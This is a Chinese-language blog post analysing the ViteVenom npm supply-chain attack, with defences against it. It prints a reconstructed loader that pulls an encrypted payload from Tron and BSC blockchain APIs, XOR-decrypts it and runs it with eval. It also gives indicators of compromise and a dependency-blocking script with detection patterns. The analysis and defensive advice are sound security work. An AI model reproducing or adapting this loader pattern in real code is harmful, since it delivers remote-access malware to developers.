ViteVenom 供应链攻击深度剖析:当区块链成为攻击者的“不死之身”

ViteVenom 供应链攻击深度剖析:当区块链成为攻击者的“不死之身”

最近 npm 又爆了一个大雷。七月份 Checkmarx 的研究人员挖出了一组名为 ViteVenom 的恶意 npm 包,直接冲着 Vite 生态来的。这玩意儿不是普通的钓鱼,它的 C2 基础设施居然建在区块链上,Tron、Aptos、BSC 轮着用,想封都封不掉。作为一个天天跟 npm 打交道的开发者,我觉得有必要把这套攻击链拆开了揉碎了讲清楚,顺便说说怎么防。

一、哪些包中招了?

这次攻击涉及 7 个 scoped 包,全部伪装成 Vite 官方或相关的命名空间。下载量少的几百,多的上千,其中 @uw010010/vite-tree 最猛,干到了一千多次下载。

包名下载次数恶意版本
@uw010010/vite-tree1,0703.4.2, 3.4.3, 3.6.1
@vite-tab/tab2893.15.10
@vite-ln/build-ts2525.15.10
@vite-mcp/vite-type2396.44.1
@vite-pro/vite-ui2002.5.10
@vitets/vite-ts1941.5.10
@vite-ts/vite-ui1766.44.1

看清楚,这些包都带了 @ 前缀,看起来像是一个组织发布的,比如 @vite-pro/vite-ui 跟官方的 @vitejs/plugin-react 放在一起,肉眼很难分辨。这就是 scoped 包的欺骗性, 大家总觉得带 @ 的就靠谱,其实谁都能注册。

二、这玩意儿牛在哪儿?不是传统套路

1. 执行时机卡在“导入时”,而不是“安装时”

传统 npm 恶意软件喜欢在 postinstall 脚本里搞事,现在各种安全工具都会盯那个。ViteVenom 学精了,它把恶意代码塞到 bin/vite.js 里,这个文件只有在开发者 import 这个包的时候才会跑。也就是说,你 npm install 的时候一切正常,等你高高兴兴把包引到代码里,它才开始作妖。这种“延迟触发”能绕过很多扫描器。

2. C2 长在区块链上,拔不掉

正常的恶意软件靠域名或 IP 跟主控通信,只要一曝光,安全厂商一投诉,域名就被注册商干掉了。但 ViteVenom 把 C2 指令写成区块链交易数据,存在 Tron、BSC 和 Aptos 上。链上数据不可篡改,攻击者随时可以发一笔新交易来更新载荷,而你拿他一点办法都没有。

3. 四层链条,环环相扣

攻击者设计了一套精巧的层层递进机制:

  • 第一层(npm 包)bin/vite.js 作为一个加载器,里面硬编码了攻击者的 Tron 钱包地址。
  • 第二层(Tron 区块链):加载器查询 Tron 链上该钱包的最新交易,从中取出一个 BSC 交易哈希。
  • 第三层(BSC 区块链):用这个哈希去 BSC 上拉取加密的最终载荷,然后用一个硬编码的 XOR 密钥解密。
  • 第四层(Aptos 及 HTTP 后备):如果 Tron 挂了,还有 Aptos 兜底;要是区块链全不通,直接走 HTTP 从 C2 服务器拉 RAT。

这样设计的结果就是:攻击者根本不需要维护自己的服务器,而且每次拿到的载荷还可以动态更新。

三、代码剖析

下面是我根据威胁情报还原的 bin/vite.js 简化逻辑,虽然不能完全复现,但核心流程就是下面这样:

// bin/vite.js —— 恶意加载器(简化版)
const axios = require('axios');
const crypto = require('crypto');

// 硬编码 XOR 密钥(跟之前的 ChainVeil 团伙用的是同一个)
const XOR_KEY = Buffer.from('...', 'hex');
// 攻击者的 Tron 钱包
const TRON_WALLET = 'T...';

async function fetchPayload() {
    // 步骤1:查 Tron 链上该钱包最近的一笔交易
    const tronResponse = await axios.get(
        `https://api.trongrid.io/v1/accounts/${TRON_WALLET}/transactions`,
        { params: { limit: 1, only_confirmed: true } }
    );
    const txData = tronResponse.data.data[0].raw_data.contract[0].parameter.value.data;
    
    // 步骤2:解码并反转数据,得到一个 BSC 交易哈希
    const bscTxHash = decodeAndReverse(txData);
    
    // 步骤3:去 BSC 上拉取加密的载荷
    const bscResponse = await axios.get(
        `https://bsc-dataseed.binance.org/api/v2/transactions/${bscTxHash}`
    );
    const encryptedPayload = bscResponse.data.input;
    
    // 步骤4:用 XOR 解密
    const payload = xorDecrypt(encryptedPayload, XOR_KEY);
    
    // 步骤5:直接执行 RAT
    eval(payload);
}

// 导入时立即执行
fetchPayload().catch(() => {
    // 如果 Tron 不行,走 Aptos 或 HTTP
    fallbackFetch();
});

注意几个危险点:

  • eval(payload) 意味着最后的 RAT 代码从不落盘,全是内存里跑,杀毒软件很难抓到。
  • 密钥硬编码虽然看起来很蠢,但在这种场景下反而是刻意为之, 减少外部依赖。
  • 三层区块链加 HTTP 后备,保证任何时候都能活下来。

最终拿到的 RAT 能干这些事:开反向 shell、偷凭证、偷文件、往 ~/.bashrc~/.zshrc 里写持久化后门。

四、跟之前的 ChainVeil 是同一伙人

这次 ViteVenom 跟今年早些时候的 ChainVeil 攻击用了同一套基础设施:一样的 Tron 钱包、一样的 Aptos 账号、一样的 XOR 解密密钥、一样的 77KB RAT 载荷,连备用 C2 服务器 IP 都重合。说明背后是同一个团伙在迭代玩法,只不过上次盯的是 Tailwind、Sass 这些工具,这次换到了 Vite 生态。

Checkmarx 的分析师说得很到位:“表面上的差别:包名不同、维护者账号不同、第一层钱包不同, 其实都是同一个操作者为了分散风险搞的马甲。” 所以别以为这次躲过了就万事大吉,人家随时会换个马甲再搞一波。

五、如果你已经装了,赶紧这么做

  1. 立即卸载npm uninstall 上面列出的所有恶意包。
  2. 检查 lock 文件:搜一下 package-lock.jsonyarn.lock 里有没有这些包名,确保没残留。
  3. 改密码、换 token:假设所有环境变量、本地凭证都已经被偷了,轮换所有密钥。
  4. 检查 shell 配置文件:看看 ~/.bashrc~/.zshrc~/.profile 有没有被添加奇怪的东西。
  5. 查网络日志:看有没有对外访问 api.trongrid.iofullnode.mainnet.aptoslabs.combsc-dataseed.binance.org198.105.127[.]210 的记录。
  6. 全盘扫描临时目录:RAT 可能在那里留过痕迹,虽然它跑在内存里,但有时候会写一些临时文件。

六、怎么防?给你几招硬核方案

光知道出事没用,大家得在项目里把防护做到位。

1. 搞个包白名单机制

在团队内部约定允许使用的包范围,比如只信任 @vitejs@vercel 这种官方账号。在 CI 里加一道检查,禁止安装未经验证的包。

示例脚本(放到 scripts/check-deps.js):

// 检查依赖中是否有可疑模式
const pkg = require('../package.json');
const deps = { ...pkg.dependencies, ...pkg.devDependencies };

const suspiciousPatterns = [
  /^@[a-z0-9-]+\/[a-z0-9-]*vite/i,  // 任何以 vite 结尾的 scoped 包都要警惕
  /^@uw\d+/,
  /^@vite-(tab|ln|mcp|pro|ts)/,
];

const found = Object.keys(deps).filter(name => 
  suspiciousPatterns.some(pattern => pattern.test(name))
);

if (found.length) {
  console.error('❌ 发现可疑依赖:', found.join(', '));
  process.exit(1);
}

package.json 里加个 preinstall 脚本自动执行它,这样每次装包前都能拦一道。

2. 给 npm 装包加一层“审计代理”

如果你们公司有内部 npm 镜像,可以在代理层设置包名黑名单,直接从源头阻断。个人开发者可以写个 shell 脚本,在执行 npm install 之前先跑 npm view 查看发布者信息,手动确认。

3. 构建环境断网跑

CI/CD 环境里,大部分构建其实不需要访问外网(除了下载依赖)。把构建机放在隔离网段,只允许访问已知的 npm 镜像,禁止访问公链 API 和可疑 IP。这样就算包里有恶意逻辑,它也连不上 C2,只能干瞪眼。

4. 用 SCA 工具,并且要支持运行时检测

传统的 SCA(软件成分分析)只扫已知漏洞,现在得用上能识别恶意包的专用工具,比如 Checkmarx 自家的 Malicious Package Protection。另外,可以考虑在 Node 进程里注入监控模块,记录所有 requireimport 行为,一旦发现有网络请求连到区块链节点,立刻提示。

5. 别迷信 scoped 包

记住,任何人花 20 美元就能注册一个 npm 组织账号,@awesome/react 不一定真的来自 Awesome 团队。装包之前多看一眼 npm view 的 maintainers 列表,或者去 GitHub 上看看有没有对应的仓库,仓库活跃度如何。

七、总结

ViteVenom 给大家敲响了警钟:供应链攻击已经从“简单的拼写错误劫持”升级到了“区块链赋能的动态载荷投递”。攻击者把不可篡改的公链当成了自己的后花园,想换载荷就换,想复活就复活。

作为开发者,我们不能只依赖 npm 官方的扫描和社区的举报,更重要的是在本地开发流程、CI 流水线里建立自己的防御层。下一次攻击可能不会叫 ViteVenom,也可能不针对 Vite,但套路只会更精妙。

希望大家看完这篇文章,能对手里的依赖多一份警惕。顺便问一句,你上次检查 package-lock.json 是什么时候?如果超过一周,不妨现在就去翻一翻。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

MartinYeung5

感謝你的支持與肯定

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值